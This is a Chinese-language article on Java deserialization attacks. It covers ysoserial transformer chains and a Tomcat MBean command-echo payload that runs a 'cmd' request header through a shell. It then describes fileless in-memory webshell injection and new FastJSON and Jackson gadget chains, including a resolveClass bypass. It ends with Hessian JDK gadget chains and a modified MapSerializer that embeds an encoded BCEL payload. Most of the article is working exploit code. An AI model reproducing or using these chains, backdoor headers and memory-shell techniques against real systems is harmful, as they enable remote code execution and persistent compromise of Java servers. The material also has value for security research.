Transformer[] transformers = new Transformer[]{new ConstantTransformer(ScriptEngineManager.class),    new InvokerTransformer("newInstance"new Class[0], new Object[0]),    new InvokerTransformer("getEngineByName"new Class[]{String.class},        new Object[]{"JavaScript"}), new InvokerTransformer("eval",    new Class[]{String.class}, execArgs), new ConstantTransformer(1)};Transformer transformerChain = new ChainedTransformer(transformers);

或者

        Transformer[] transformers = new Transformer[]{new ConstantTransformer(MethodHandles.class),new InvokerTransformer("getDeclaredMethod"new               Class[]{String.class, Class[].class}, new Object[]{"lookup"new            Class[0]}),new InvokerTransformer("invoke"new Class[]            {Object.class, Object[].class}, new Object[]{nullnew Object[0]}),new InvokerTransformer("defineClass"new Class[]            {byte[].class}, new Object[]{data}),new InstantiateTransformer(new Class[0], new            Object[0]),new ConstantTransformer(1)        };        Transformer transformerChain = new ChainedTransformer(new                Transformer[]{new ConstantTransformer(1)});
  • 命令执行结果回显

Ysoserial的Gadgets.createTemplatesImpl虽然可以实现命令执行,但攻击者无法直接获取命令执行的结果。在修改ysoserial能执行任意代码后,在实现代码执行的基础上,大家进一步研究了反序列化攻击时如何回显命令执行的结果。

由于反序列化和JSP不一样,上下文中没有当前的request、response,所以最开始的反序列化命令执行回显思路是,通过反序列化代码执行获取到当前请求的request、response,然后将命令执行的结果通过response输出到页面中。

从此出现了各种寻找当前req、res的方式,最开始常用的方法有从mbean等其他地方中获取,

        try{            javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();            java.lang.reflect.Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");            field.setAccessible(true);            Object obj = field.get(mbeanServer);            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");            field.setAccessible(true);            java.util.HashMap obj2 = (java.util.HashMap)field.get(obj);            java.util.Iterator iter;            if(obj2.get("Tomcat") == null){                iter = ((java.util.HashMap) obj2.get("Catalina")).entrySet().iterator();            }else {                iter = ((java.util.HashMap) obj2.get("Tomcat")).entrySet().iterator();            }            while (iter.hasNext()) {                java.util.Map.Entry entry = (java.util.Map.Entry) iter.next();                Object key = entry.getKey();                obj = entry.getValue();                if (key.toString().endsWith("type=GlobalRequestProcessor") && key.toString().startsWith("name=\"http-")) {                    break;                }            }            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");            field.setAccessible(true);            java.util.ArrayList obj3 = (java.util.ArrayList)field.get(obj);            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");            field.setAccessible(true);            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            for (int i = 0; i < obj3.size(); i++) {                org.apache.coyote.Request obj4 = (org.apache.coyote.Request) field.get(obj3.get(i));                String username = obj4.getHeader("cmd");                if(username != null){                    String[] cmds = isLinux ? new String[]{"sh""-c", username} : new String[]{"cmd.exe""/c",  username};                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");                    String output = "";                    while (s.hasNext()){                        output += s.next();                    }                    byte[] buf = output.getBytes();                    org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();                    bc.setBytes(buf, 0, buf.length);                    obj4.getResponse().setHeader("xxxx",output);                    break;                }            }        } catch (Exception e){        }

tomcat在mbean中能获取到所有的request,然后遍历所有的request查看哪个request有设置cmd请求头即是我们的请求,然后再通过request获取到response,将命令执行的结果进行回显。

通过反序列化执行如上代码,即可将命令结果回显到response中。

  • 内存马植入

在最开始内存马的出现主要是为了解决权限维持的问题,不过随着Spring Boot这类Fat JAR应用的普及,传统的Webshell落地方式已难以实现,单纯依赖命令执行回显的技术手段在横向渗透过程中已无法满足需求,这也推动了内存马技术的日益流行。

首先简单了解一下内存马的原理,Java内存马是一种驻留在内存中的恶意程序,其核心原理是通过篡改或动态注册中间件组件的执行逻辑,实现无文件化的持久化攻击。利用Java应用运行时的动态特性,将恶意代码注入到中间件管理的组件中,从而规避常规文件检测机制。

通过能够执行代码的漏洞,随后利用中间件的API动态注册恶意组件。在Servlet容器中,攻击者可能通过ServletContext动态添加一个恶意Filter或Servlet;在Spring框架中,则可能通过RequestMappingHandlerMapping注册恶意控制器。将内存马逻辑加入到这些恶意组件中,攻击者请求指定的地址就能触发内存马逻辑。

反序列化植入内存马最需要解决的问题依然是和命令执行回显类似,由于上下文中并没有StandardContext所以需要通过代码执行去其他地方拿到StandardContext。

在最开始,大家都还是依然从mbean或者threadlocal里面获取Context,但是会遇到适配问题,每个版本可能都存在差异,导致内存马的注入器不通用。为了解决这个问题,后续开始遍历Thread.currentThread来搜索Context,这样的好处就是不用写死Context所处的位置能够适配更多的环境、版本,只需要写好搜索代码,搜索到了Context就结束,然后对这个Context动态添加恶意组件。

JMG是目前最常用的内存马注入工具https://github.com/pen4uin/java-memshell-generator,它将内存马的注入主要分为了注入器和内存马的逻辑。注入器的作用就是获取到当前环境的context以及动态的添加内存马,JMG内置了大量的注入器模板,每个中间件及其对应的组件类型都提供了一个模板 https://github.com/pen4uin/java-memshell-generator/tree/main/jmg-core/src/main/java/jmg/core/template,

这些注入器获取Context的方法既有从thread搜索的,也有固定位置的。

在通过反序列化植入内存马时,可以先通过JMG生成注入器(内存马已经包含在了里面)的字节码。

然后通过反序列化执行生成的注入器代码,反序列化触发后执行完代码内存马就植入到了目标Context中。

  • 新利用链

ysoserial 中已有大量利用链(https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads),而近年来,有越来越多的新利用链被发现,反序列化实现RCE的成功率也逐渐提高。下面列举几个目前用得比较多的,但ysoserial没有内置的。

  • FASTJSON

在FastJSON <= 1.2.48版本时,

com.alibaba.fastjson.JSON#toString

public String toString() {    return this.toJSONString();},

toString是在反序列化中很常用的一个入口方法,toString方法中调用了toJSONString方法,

public String toJSONString() {    SerializeWriter out = new SerializeWriter();    String var2;    try {        (new JSONSerializer(out)).write(this);        var2 = out.toString();    } finally {        out.close();    }    return var2;}

toJSONString会触发序列化然后返回序列化的字符串,序列化一般是会触发getter方法的,最终再次通过Templatesimpl实现利用。

在FastJSON > 1.2.48后,

com.alibaba.fastjson.JSONArray 和 com.alibaba.fastjson.JSONObject 中的readObject方法,

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {    JSONObject.SecureObjectInputStream.ensureFields();    if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {        ObjectInputStream secIn = new SecureObjectInputStream(in);        try {            ((ObjectInputStream)secIn).defaultReadObject();            return;        } catch (NotActiveException var6) {        }    }    in.defaultReadObject();    Iterator var7 = this.map.entrySet().iterator();    while(var7.hasNext()) {        Map.Entry entry = (Map.Entry)var7.next();        Object key = entry.getKey();        if (key != null) {            ParserConfig.global.checkAutoType(key.getClass());        }        Object value = entry.getValue();        if (value != null) {            ParserConfig.global.checkAutoType(value.getClass());        }    }}static class SecureObjectInputStream extends ObjectInputStream {    static Field[] fields;    static volatile boolean fields_error;    static void ensureFields() {        if (fields == null && !fields_error) {            try {                Field[] declaredFields = ObjectInputStream.class.getDeclaredFields();                String[] fieldnames = new String[]{"bin""passHandle""handles""curContext"};                Field[] array = new Field[fieldnames.length];                for(int i = 0; i < fieldnames.length; ++i) {                    Field field = TypeUtils.getField(ObjectInputStream.class, fieldnames[i], declaredFields);                    field.setAccessible(true);                    array[i] = field;                }                fields = array;            } catch (Throwable var5) {                fields_error = true;            }        }    }    public SecureObjectInputStream(ObjectInputStream in) throws IOException {        super(in);        try {            for(int i = 0; i < fields.length; ++i) {                Field field = fields[i];                Object value = field.get(in);                field.set(this, value);            }        } catch (IllegalAccessException var5) {            fields_error = true;        }    }    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {        String name = desc.getName();        if (name.length() > 2) {            int index = name.lastIndexOf(91);            if (index != -1) {                name = name.substring(index + 1);            }            if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {                name = name.substring(1, name.length() - 1);            }            if (TypeUtils.getClassFromMapping(name) == null) {                ParserConfig.global.checkAutoType(name, (Class)null, Feature.SupportAutoType.mask);            }        }        return super.resolveClass(desc);    }    protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {        String[] var2 = interfaces;        int var3 = interfaces.length;        for(int var4 = 0; var4 < var3; ++var4) {            String interfacename = var2[var4];            if (TypeUtils.getClassFromMapping(interfacename) == null) {                ParserConfig.global.checkAutoType(interfacename, (Class)null);            }        }        return super.resolveProxyClass(interfaces);    }    protected void readStreamHeader() throws IOException, StreamCorruptedException {    }}

高版本对反序列化的类存在了限制,通过SecureObjectInputStream的resolveclass方法限制了jsonarray或者Jsonobject中的map属性类型必须为autotype允许的。

但是这样存在一个问题,只有在反序列化jsonobject或者jsonarray的时候才可能会触发到这个resolveclass限制(作为一个组件开发者也只能做到这种)。

在java.io.ObjectInputStream中,

private ObjectStreamClass readClassDesc(boolean unshared)    throws IOException{    byte tc = bin.peekByte();    ObjectStreamClass descriptor;    switch (tc) {        case TC_NULL:            descriptor = (ObjectStreamClass) readNull();            break;        case TC_REFERENCE:            descriptor = (ObjectStreamClass) readHandle(unshared);            break;        case TC_PROXYCLASSDESC:            descriptor = readProxyDesc(unshared);            break;        case TC_CLASSDESC:            descriptor = readNonProxyDesc(unshared);            break;

TC CLASSDESC分支中,会调用resolveClass方法,触发到SecureObjectInputStream的resolveClass方法。

private ObjectStreamClass readNonProxyDesc(boolean unshared)    throws IOException{    if (bin.readByte() != TC_CLASSDESC) {        throw new InternalError();    }    ObjectStreamClass desc = new ObjectStreamClass();    int descHandle = handles.assign(unshared ? unsharedMarker : desc);    passHandle = NULL_HANDLE;    ObjectStreamClass readDesc = null;    try {        readDesc = readClassDescriptor();    } catch (ClassNotFoundException ex) {        throw (IOException) new InvalidClassException(            "failed to read class descriptor").initCause(ex);    }    Class<?> cl = null;    ClassNotFoundException resolveEx = null;    bin.setBlockDataMode(true);    final boolean checksRequired = isCustomSubclass();    try {        if ((cl = resolveClass(readDesc)) == null) {            resolveEx = new ClassNotFoundException("null class");        } else if (checksRequired) {            ReflectUtil.checkPackageAccess(cl);        }    } catch (ClassNotFoundException ex) {

java.io.ObjectInputStream#readObject0

switch (tc) {                case TC_NULL:                    return readNull();                case TC_REFERENCE:                    return readHandle(unshared);                case TC_CLASS:                    return readClass(unshared);                case TC_CLASSDESC:                case TC_PROXYCLASSDESC:                    return readClassDesc(unshared);                case TC_STRING:                case TC_LONGSTRING:                    return checkResolve(readString(unshared));                case TC_ARRAY:                    return checkResolve(readArray(unshared));                case TC_ENUM:                    return checkResolve(readEnum(unshared));                case TC_OBJECT:                    return checkResolve(readOrdinaryObject(unshared));                case TC_EXCEPTION:                    IOException ex = readFatalException();                    throw new WriteAbortedException("writing aborted", ex);                case TC_BLOCKDATA:

在反序列化时,readClass最终也会调用到readClassDesc,所以排除STRING、LONGSTRING后,基本只有TC_REFERENCE可用。

在Java反序列化中,TC_REFERENCE是序列化协议中用于表示对象引用的特殊标记。当序列化流中存在多个引用指向同一对象时,TC_REFERENCE会通过关联已分配的唯一句柄(Handle)来避免重复序列化,确保反序列化时重建的对象引用关系与原对象图一致,这种机制在正常场景下优化了序列化效率。

利用引用的特效,先在其他地方反序列化出来一个templatesimpl,最后jsonarray中再次反序列化同一个templatesimpl的时候就会触发引用,这时候就不会重复反序列化就不会触发到resolveClass,实现了绕过。

最后的利用如下:

@Overridepublic Object getObject(String command) throws Exception {    HashMap<ObjectObject> hashMap = new HashMap();    Object templates = Gadgets.createTemplatesImpl(command);    BadAttributeValueExpException val = new BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    Reflections.setAccessible(valfield);    ArrayList arrayList = new ArrayList();    arrayList.add(templates);    JSONArray jsonArray = new JSONArray(arrayList);    valfield.set(val, jsonArray);    hashMap.put(templates, val);    return hashMap;}
  • JACKSON

com.fasterxml.jackson.databind.node.BaseJsonNode

public String toString() {    return InternalNodeMapper.nodeToString(this);}
public static String nodeToString(BaseJsonNode n) {    try {        return STD_WRITER.writeValueAsString(_wrapper(n));    } catch (IOException var2) {        IOException e = var2;        throw new RuntimeException(e);    }}
protected final void _writeValueAndClose(JsonGenerator gen, Object value) throws IOException {    if (this._config.isEnabled(SerializationFeature.CLOSE_CLOSEABLE) && value instanceof Closeable) {        this._writeCloseable(gen, value);    } else {        try {            this._prefetch.serialize(gen, value, this._serializerProvider());        } catch (Exception var4) {            Exception e = var4;            ClassUtil.closeOnFailAndThrowAsIOE(gen, e);            return;

在_writeValueAndClose中又会再次序列化,和Fastjson差不太多,所以会触发getter方法。

最终的利用如下:

@Overridepublic Object getObject(String command) throws Exception {    Object templates = Gadgets.createTemplatesImpl(command);    POJONode node = new POJONode(templates);    BadAttributeValueExpException val = new BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    valfield.setAccessible(true);    valfield.set(val, node);    return val;}

 Hessian 反序列化 

  • 基础介绍

Hessian是一个轻量级的跨语言序列化协议,广泛应用于Java分布式系统中,如Dubbo等。它提供了一种高效的方式来序列化和反序列化Java对象,尤其在Web服务中得到了广泛的使用。

Hessian与JAVA原生反序列化的主要差异在于:

  1. Hessian反序列化的类不需要实现java.io.Serializable的接口,扩大了攻击面。

  2. Hessian不会自动调用反序列化类的readObject方法,Hessian反序列化不需要readObject()方法来处理对象恢复。在Hessian的反序列化过程中,数据被解析并转换为Java对象时,Hessian直接使用Hessian2Input.readObject()方法来处理数据流。此方法并不依赖于readObject()来恢复对象的状态,而是通过Hessian自定义的反序列化协议和字段填充机制来直接将对象的字段值填充到新创建的对象中。

  • 技术剖析

以Hessian 4.0.66为例。

Hessian在恢复普通对象时,调用readObject方法,

public Object readObject(AbstractHessianInput in, Object[] fields) throws IOException {    try {        Object obj = this.instantiate();        return this.readObject(in, obj, (FieldDeserializer2[])fields);    } catch (IOException var4) {        IOException e = var4;        throw e;    } catch (RuntimeException var5) {        RuntimeException e = var5;        throw e;    } catch (Exception var6) {        Exception e = var6;        throw new IOExceptionWrapper(this._type.getName() + ":" + e.getMessage(), e);    }}

instantiate方法中,是直接通过unsafe方法获取反序列化类的实例,

protected Object instantiate() throws Exception {    return _unsafe.allocateInstance(this._type);}

然后通过this.readObject(in, obj, (FieldDeserializer2[])fields); 恢复对象的Field,

public Object readObject(AbstractHessianInput in, Object obj, FieldDeserializer2[] fields) throws IOException {    try {        int ref = in.addRef(obj);        FieldDeserializer2[] var5 = fields;        int var6 = fields.length;        for(int var7 = 0; var7 < var6; ++var7) {            FieldDeserializer2 reader = var5[var7];            reader.deserialize(in, obj);        }        Object resolve = this.resolve(in, obj);        if (obj != resolve) {            in.setRef(ref, resolve);        }        return resolve;

恢复对象的Field依然是通过unsafe的putObject方法直接进行恢复。

    public void deserialize(AbstractHessianInput in, Object obj) throws IOException {        String value = null;        try {            value = in.readString();            FieldDeserializer2FactoryUnsafe._unsafe.putObject(obj, this._offset, value);        } catch (Exception var5) {            Exception e = var5;            FieldDeserializer2FactoryUnsafe.logDeserializeError(this._field, obj, value, e);        }    }}

Hessian有多个反序列化器,在反序列map类型时,com.caucho.hessian.io.MapDeserializer#readMap

public Object readMap(AbstractHessianInput in) throws IOException {    Object map;    if (this._type == null) {        map = new HashMap();    } else if (this._type.equals(Map.class)) {        map = new HashMap();    } else if (this._type.equals(SortedMap.class)) {        map = new TreeMap();    } else {        try {            map = (Map)this._ctor.newInstance();        } catch (Exception var4) {            throw new IOExceptionWrapper(var4);        }    }    in.addRef(map);    while(!in.isEnd()) {        ((Map)map).put(in.readObject(), in.readObject());    }    in.readEnd();    return map;}

默认支持Hashmap、Treemap两种类型,其他map类型会通过反射构造方法实例化对象,所以还支持java.util.WeakHashMap、java.util.Hashtable等存在默认无参构造方法的map类。

在生成了map对象后,就会开始恢复map数据,开始反序列化后put。

HashMap是数组+链表的数据结构,

public V put(K key, V value) {    return putVal(hash(key), key, value, falsetrue);}
static final int hash(Object key) {    int h;    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

HashMap在put前会先计算key的hashcode用来判断链表中是否已经存在可能一样的对象,如果链表中已经存在相同hashcode的key,在putVal时就会调用equals方法来判断这两个对象是否为相同对象,如果不相同则会put到HashMap中。

从这里能看出触发到equals方法存在一定的限制,也就是链表中已经存在和当前对象hashcode一致的对象。

final V putVal(int hash, K key, V value, boolean onlyIfAbsent,               boolean evict) {    Node<K,V>[] tab; Node<K,V> p; int n, i;    if ((tab = table) == null || (n = tab.length) == 0)        n = (tab = resize()).length;    if ((p = tab[i = (n - 1) & hash]) == null)        tab[i] = newNode(hash, key, value, null);    else {        Node<K,V> e; K k;        if (p.hash == hash &&            ((k = p.key) == key || (key != null && key.equals(k))))            e = p;

之前也说到了,在Hessian的MapDeserializer中除了Hashmap还支持一些其他的map类型,比如TreeMap,在TreeMap#put中,又会调到compareTo方法。

public V put(K key, V value) {    Entry<K,V> t = root;    if (t == null) {        compare(key, key); // type (and possibly null) check        root = new Entry<>(key, value, null);        size = 1;        modCount++;        return null;    }final int compare(Object k1, Object k2) {    return comparator==null ? ((Comparable<? super K>)k1).compareTo((K)k2)        : comparator.compare((K)k1, (K)k2);}}

Hessian反序列化常用的几个入口方法如下。

  • hashCode

public V put(K key, V value) {    return putVal(hash(key), key, value, falsetrue);}

在putval之前,会先对key计算一次hashcode方法,所以在Hessian反序列化中可以把hashCode当做入口方法。

  • EQUALS

在上面的分析中putVal方法,在put一个对象之前会先计算他的hashCode方法如果存在链表中已经存在了相同hash,就会调用equals方法对比是不是同一个对象,所以Equals也可以作为入口方法。

        Node<K,V> e; K k;        if (p.hash == hash &&            ((k = p.key) == key || (key != null && key.equals(k))))            e = p;
com.sun.org.apache.xpath.internal.objects.XString

com.sun.org.apache.xpath.internal.objects.XString#equals是一个常用的从equals从toString的中间类。

public boolean equals(Object obj2){  if (null == obj2)    return false;    // In order to handle the 'all' semantics of    // nodeset comparisons, we always call the    // nodeset function.  else if (obj2 instanceof XNodeSet)    return obj2.equals(this);  else if(obj2 instanceof XNumber)      return obj2.equals(this);  else    return str().equals(obj2.toString());}
java.util.Hashtable

java.util.Hashtable#equals 是一个常用的从equals到get的中间类。

public synchronized boolean equals(Object o) {    if (o == this)        return true;    if (!(o instanceof Map))        return false;    Map<?,?> t = (Map<?,?>) o;    if (t.size() != size())        return false;    try {        Iterator<Map.Entry<K,V>> i = entrySet().iterator();        while (i.hasNext()) {            Map.Entry<K,V> e = i.next();            K key = e.getKey();            V value = e.getValue();            if (value == null) {                if (!(t.get(key)==null && t.containsKey(key)))                    return false;            } else {                if (!value.equals(t.get(key)))                    return false;            }        }    } catch (ClassCastException unused)   {        return false;    } catch (NullPointerException unused) {        return false;    }
  • PUT

上面提到了Hessian的MapDeserializer在反序列化非Map、SortedMap、HashMap时,会通过反射无参构造方法实例化对象。实例化完成后会调用到put方法,简单翻了下从PUT能回到toString的一些类。

java.security.Provider#put

Provider抽象类继承了java.util.Properties,Properties又继承了java.util.Hashtable,同时存在无参构造方法,所以会用到MapDeserializer,

@Overridepublic synchronized Object put(Object key, Object value) {    check("putProviderProperty."+name);    if (debug != null) {        debug.println("Set " + name + " provider property [" +                      key + "/" + value +"]");    }    return implPut(key, value);}

能触发到key value的toString,可惜debug来源于,

private static final sun.security.util.Debug debug =    sun.security.util.Debug.getInstance    ("provider""Provider");

只有当环境设置了-Djava.security.debug=all或Provider时,才会触发到toString,不是一个默认能触发的场景,并不好用。

SwingLazyValue value= new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper""_main"new Object[]{new String[]{"$$BCEL$$" + bcel,"s"}});UIDefaults uiDefaults = new UIDefaults();uiDefaults.put("user", value);Object o = new MimeTypeParameterList();Field f = o.getClass().getDeclaredField("parameters");f.setAccessible(true);f.set(o, uiDefaults);AppleProvider appleProvider = new apple.security.AppleProvider();appleProvider.put("a", o);byte[] b = HessianTest.hessianSerialize(appleProvider);HessianTest.hessianDeserialize(b);
com.sun.javafx.fxml.builder.JavaFXImageBuilder#put

JavaFXImageBuilder继承了AbstractMap,同时存在无参构造方法,所以依然会使用到MapDeserializer反序列化器。

@Overridepublic Object put(String key, Object value) {    if ( value != null) {        String str = value.toString();        if ( "url".equals( key)) {            url = str;        } else if ( "requestedWidth".equals(key)) {            requestedWidth =  Double.parseDouble( str);        } else if ( "requestedHeight".equals(key)) {            requestedHeight =  Double.parseDouble(str);        } else if ( "preserveRatio".equals(key)) {            preserveRatio =  Boolean.parseBoolean(str);        } else if ( "smooth".equals(key)) {            smooth =  Boolean.parseBoolean(str);        } else if ( "backgroundLoading".equals(key)) {            backgroundLoading = Boolean.parseBoolean(str);        } else {            throw new IllegalArgumentException("Unknown Image property: " + key);        }    }

在put方法中,很明显的对value调用了toString方法,这时候就从put到了toString方法。

直接开始测试,

com.sun.javafx.fxml.builder.JavaFXImageBuilder o = new com.sun.javafx.fxml.builder.JavaFXImageBuilder();o.put("url""b");byte[] b = HessianTest.hessianSerialize(o);HessianTest.hessianDeserialize(b);

结果在序列化时就直接产生了异常,

java.lang.UnsupportedOperationException        at com.sun.javafx.fxml.builder.JavaFXImageBuilder.entrySet(JavaFXImageBuilder.java:77)        at com.caucho.hessian.io.MapSerializer.writeObject(MapSerializer.java:111)        at com.caucho.hessian.io.Hessian2Output.writeObject(Hessian2Output.java:465)        at HessianTest.hessianSerialize(HessianTest.java:48)

分析原因发现是因为com.caucho.hessian.io.MapSerializer在序列化map时,会调用到map的entrySet方法,

public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {    .........................    Iterator iter = map.entrySet().iterator();    while(iter.hasNext()) {        Map.Entry entry = (Map.Entry)iter.next();        out.writeObject(entry.getKey());        out.writeObject(entry.getValue());    }    out.writeMapEnd();

而在com.sun.javafx.fxml.builder.JavaFXImageBuilder#entrySet,未实现并且直接抛出了异常,导致了序列化失败。

@Overridepublic Set<Entry<StringObject>> entrySet() {    throw new UnsupportedOperationException();}

在MapSerializer中,调用entrySet也仅是为了获取key、value序列化后输出到流中,那么直接修改MapSerializer的代码,移除对entrySet的调用,直接序列化key、value进行测试。

public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {    .........................    out.writeObject("aa");    out.writeObject("bb");    out.writeMapEnd();

修改后发现序列化时不再产生异常,然而反序列化时生成的是HashMap而不是com.sun.javafx.fxml.builder.JavaFXImageBuilder,分析发现是因为在MapSerializer序列化时,

public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {    if (!out.addRef(obj)) {        Map map = (Map)obj;        Class<?> cl = obj.getClass();        if (!cl.equals(HashMap.class) && obj instanceof Serializable) {        .........        }else{            out.writeMapBegin((String)null);        }

如果序列化类不是HashMap并且没有实现Serializable接口的话,写入的是null。

在MapDeserialier反序列化时,如果获取到的type是null,则会默认生成hashmap。

public Object readMap(AbstractHessianInput in) throws IOException {    Object map;    if (this._type == null) {        map = new HashMap();    }

怎么解决这个问题呢,很简单再次修改MapSerializer,干掉Serializable的限制,最后利用。

package com.caucho.hessian.io;import sun.swing.SwingLazyValue;import javax.activation.MimeTypeParameterList;import javax.swing.*;import java.io.IOException;import java.io.Serializable;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Iterator;import java.util.Map;public class MapSerializer extends AbstractSerializer {    private boolean _isSendJavaType = true;    public MapSerializer() {    }    public void setSendJavaType(boolean sendJavaType) {        this._isSendJavaType = sendJavaType;    }    public boolean getSendJavaType() {        return this._isSendJavaType;    }    public void writeObject(Object obj, AbstractHessianOutput out) throws IOException {        if (!out.addRef(obj)) {            if (obj.getClass().equals(com.sun.javafx.fxml.builder.JavaFXImageBuilder.class)) {                Map map = (Map) obj;                Class<?> cl = obj.getClass();                if (this._isSendJavaType) {                    out.writeMapBegin(cl.getName());                } else {                    while (cl != null) {                        if (cl.equals(HashMap.class)) {                            out.writeMapBegin((String) null);                            break;                        }                        if (cl.getName().startsWith("java.")) {                            out.writeMapBegin(cl.getName());                            break;                        }                        cl = cl.getSuperclass();                    }                    if (cl == null) {                        out.writeMapBegin((String) null);                    }                }                out.writeObject("aa");                SwingLazyValue value= new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper""_main"new Object[]{new String[]{"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$c2$40$Q$7d$L$85BE$f9$S$fcV$d4$83$60$o$5c$3c$98$60$bc$Y$3c5j$c4$e0$c1$83Y$ea$a6$$$vm$d3$W$c2$df$f2$a2$c6$83$3f$c0$le$9c$adFHd$93$99$97y$3b$f3$del$f6$f3$eb$fd$D$c01$f6$N$a4Q5$b0$82$d5$M$d6$U$ae$eb$d8$d0$b1$c9$90$3e$95$ae$8c$ce$Y$92$f5F$8fA$3b$f7$k$FC$de$94$ae$b8$i$N$fb$o$b8$e5$7d$87$98$92$e9Y$dc$e9$f1$40$aa$fa$97$d4$a2$t$Z$92$86$d9$ZK$a7$cd$90z$Yr$e92T$eb$f7$e6$80$8fy$cb$e1$ae$dd$eaF$81t$edv$y$cf$D$7b$ccP$9es$cd$60t$s$96$f0$p$e9$b9$a1$8e$z$aa$bb$de$u$b0$c4$85TVYe$d1TS9$e8$c8$e8$d8$cea$H5$f2$f2$7c$e1$d6$8ex$8d$d6$b3F$O$8f$bc$a0$c9$7d$3f$87$5d$ec$91$a1$gc$uL$ed$ae$fa$DaE$b4$c3$94$fa$f3e$uN$d9$9b$91$h$c9$nY$h$b6$88$fe$8aJ$bda$fe$eb$a1$e551$R$W$c3A$7d$ce$c3g$a8$eb$c0$b3D$Y$b6i$bb$U$fd$89$3a$J0$f5$o$caY$aaZ$84$8c0u$f8$K$f6$i_$h$94$d31$c9$b0$409$f7$d3$40$b8H$98$c5$S$f2$d4$a5$86Ob1$c0xC$a2$94$7c$81v7U0$I$81$q$f5i3$w$G$K$u$S$96$u4b$ca$U$cb$f1L$e5$h$c7$fd$cd$9d$3e$C$A$A","s"}});                UIDefaults uiDefaults = new UIDefaults();                uiDefaults.put("user", value);                Object o = new MimeTypeParameterList();                try {                    Field f = o.getClass().getDeclaredField("parameters");                    f.setAccessible(true);                    f.set(o, uiDefaults);                }catch (Exception e){                }                out.writeObject(o);                out.writeMapEnd();            } else {                Map map = (Map) obj;                Class<?> cl = obj.getClass();                if (!cl.equals(HashMap.class) && obj instanceof Serializable) {                    if (this._isSendJavaType) {                        out.writeMapBegin(cl.getName());                    } else {                        while (cl != null) {                            if (cl.equals(HashMap.class)) {                                out.writeMapBegin((String) null);                                break;                            }                            if (cl.getName().startsWith("java.")) {                                out.writeMapBegin(cl.getName());                                break;                            }                            cl = cl.getSuperclass();                        }                        if (cl == null) {                            out.writeMapBegin((String) null);                        }                    }                } else {                    out.writeMapBegin((String) null);                }                Iterator iter = map.entrySet().iterator();                while (iter.hasNext()) {                    Map.Entry entry = (Map.Entry) iter.next();                    out.writeObject(entry.getKey());                    out.writeObject(entry.getValue());                }                out.writeMapEnd();            }        }    }}
  • 利用方式发展

SpringAbstractBeanFactoryPointcutAdvisor JNDI

在marshalsec中Hessian2最常用的利用链为SpringAbstractBeanFactoryPointcutAdvisor,最终能实现JNDI利用。

在marshalsec的文档描述了这条利用链。

入口依旧是通过Map的Equals,触发到AbstractPointcutAdvisor的,

当然这个利用存在一些缺陷:

  1. 需要有Spring相关包

  2. JNDI利用存在版本限制,或者依靠反序列化需要本地classpath存在利用链

  3. JNDI需要目标服务器能够出网

  • JDK原生利用链

在22年的0ctf中,有一道hessian的反序列化题没有任何的第三方依赖包,在此之后越来越多的Hessian JDK点利用链被发掘。

该利用的核心方法为sun.swing.SwingLazyValue#createValue ,存在反射操作。

public Object createValue(UIDefaults var1) {    try {        ReflectUtil.checkPackageAccess(this.className);        Class var2 = Class.forName(this.className, true, (ClassLoader)null);        Class[] var3;        if (this.methodName != null) {            var3 = this.getClassArray(this.args);            Method var6 = var2.getMethod(this.methodName, var3);            this.makeAccessible(var6);            return var6.invoke(var2, this.args);        } else {            var3 = this.getClassArray(this.args);            Constructor var4 = var2.getConstructor(var3);            this.makeAccessible(var4);            return var4.newInstance(this.args);        }    } catch (Exception var5) {        return null;    }}

在createValue中存在反射操作,存在两种操作,通过createValue最后调用到sink方法:

  1. 没有实例化,调用static方法

  2. 有参构造方法调用

Source 1  javax.activation.MimeTypeParameterList#toString

private Hashtable parameters = new Hashtable();public String toString() {    StringBuffer buffer = new StringBuffer();    buffer.ensureCapacity(this.parameters.size() * 16);    Enumeration keys = this.parameters.keys();    while(keys.hasMoreElements()) {        String key = (String)keys.nextElement();        buffer.append("; ");        buffer.append(key);        buffer.append('=');        buffer.append(quote((String)this.parameters.get(key)));    }    return buffer.toString();}

toString方法中,对Hashtable类型的parameters调用了get方法。

Source 2  java.util.Hashtable#equals

如果hashtable中存在了同名key后,会对比value,也能够触发到get方法。

